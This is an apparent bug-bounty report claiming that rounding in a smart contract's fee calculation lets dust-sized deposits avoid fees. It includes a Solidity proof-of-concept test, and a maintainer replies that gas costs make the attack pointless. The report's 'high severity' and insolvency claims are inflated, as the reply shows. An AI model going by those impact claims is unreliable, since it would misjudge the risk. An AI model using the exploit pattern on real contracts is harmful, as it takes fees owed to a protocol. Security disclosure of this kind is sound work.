Possible to by-pass fees due to precision loss in fee calculation

[hats-bug-reporter[bot]]

Github username: -- Twitter username: -- Submission hash (on-chain): 0xcf4bc7df6332a067db197889f255cb086cf99c2e23894a8cc2bb58de491ea99f Severity: high

Description:

Description

The previewDeposit function in the BaseMinter contract calculates the deposit fee using integer division, which can lead to precision loss. This allows a malicious user to bypass the deposit fee by carefully choosing deposit amounts that cause the fee calculation to round down to zero. The vulnerable code is in the previewDeposit function:

function previewDeposit(uint256 amount) public view virtual returns (uint256) {
    uint256 feeAmount = amount*depositFee/FEE_DENOMINATOR;
    uint256 netAmount = amount-feeAmount;
    return netAmount;
}

Furthermore the redeem and withdraw functions are also vulnerable in the same manner.

Attack Scenario

1. The attacker observes the current depositFee and FEE_DENOMINATOR values.
2. They calculate a deposit amount that, when multiplied by depositFee and divided by FEE_DENOMINATOR, results in a value just below 1.
3. The attacker calls the deposit function with this carefully chosen amount. Due to integer division, the feeAmount calculation rounds down to 0.
4. The attacker receives the full deposit amount in staking tokens without paying any fee.

Impact

This vulnerability allows users to bypass deposit fees, potentially leading to:

• Loss of revenue for the protocol
• Unfair advantage for users who exploit this issue
• Undermining the fee structure and economic model of the system

This vulnerability can be classified as high severity due to its potential to lead to protocol insolvency. If widely exploited, this vulnerability allows users to deposit large amounts of assets without paying fees. This could result in:

• Significant loss of expected protocol revenue
• Minting of staking tokens without collecting corresponding fees

POC

Here's a simplified POC outlining the issue:

contract VulnerableBaseMinter is BaseMinter {
    constructor(address _stakingToken) BaseMinter(_stakingToken) {}

    function deposit(uint256 amount) public {
        uint256 mintAmount = previewDeposit(amount);
        // Simplified deposit logic for demonstration
        stakingToken.mint(msg.sender, mintAmount);
    }
}

contract ExploitTest {
    VulnerableBaseMinter public minter;
    IERC20 public stakingToken;

    function setUp() public {
        stakingToken = new MockERC20();
        minter = new VulnerableBaseMinter(address(stakingToken));
        minter.updateDepositFee(100); // 1% fee
    }

    function testExploit() public {
        uint256 FEE_DENOMINATOR = 10000;
        uint256 depositFee = 100;

        // Calculate an amount that will result in zero fee
        uint256 exploitAmount = FEE_DENOMINATOR / depositFee - 1;

        uint256 balanceBefore = stakingToken.balanceOf(address(this));
        minter.deposit(exploitAmount);
        uint256 balanceAfter = stakingToken.balanceOf(address(this));

        assert(balanceAfter - balanceBefore == exploitAmount);
        // The attacker received the full amount without paying any fee
    }
}

In this POC, we set a 1% deposit fee (100 basis points). The attacker calculates an exploitAmount of 99, which results in a fee calculation of 99 * 100 / 10000 = 0 due to integer division. As a result, they receive the full 99 tokens without paying any fee.

[ilzheev]

In this POC, we set a 1% deposit fee (100 basis points). The attacker calculates an exploitAmount of 99, which results in a fee calculation of 99 * 100 / 10000 = 0 due to integer division. As a result, they receive the full 99 tokens without paying any fee.

In real world this attack does not make sense, as tx fees will be higher than 1e-18 potential deposit fee loss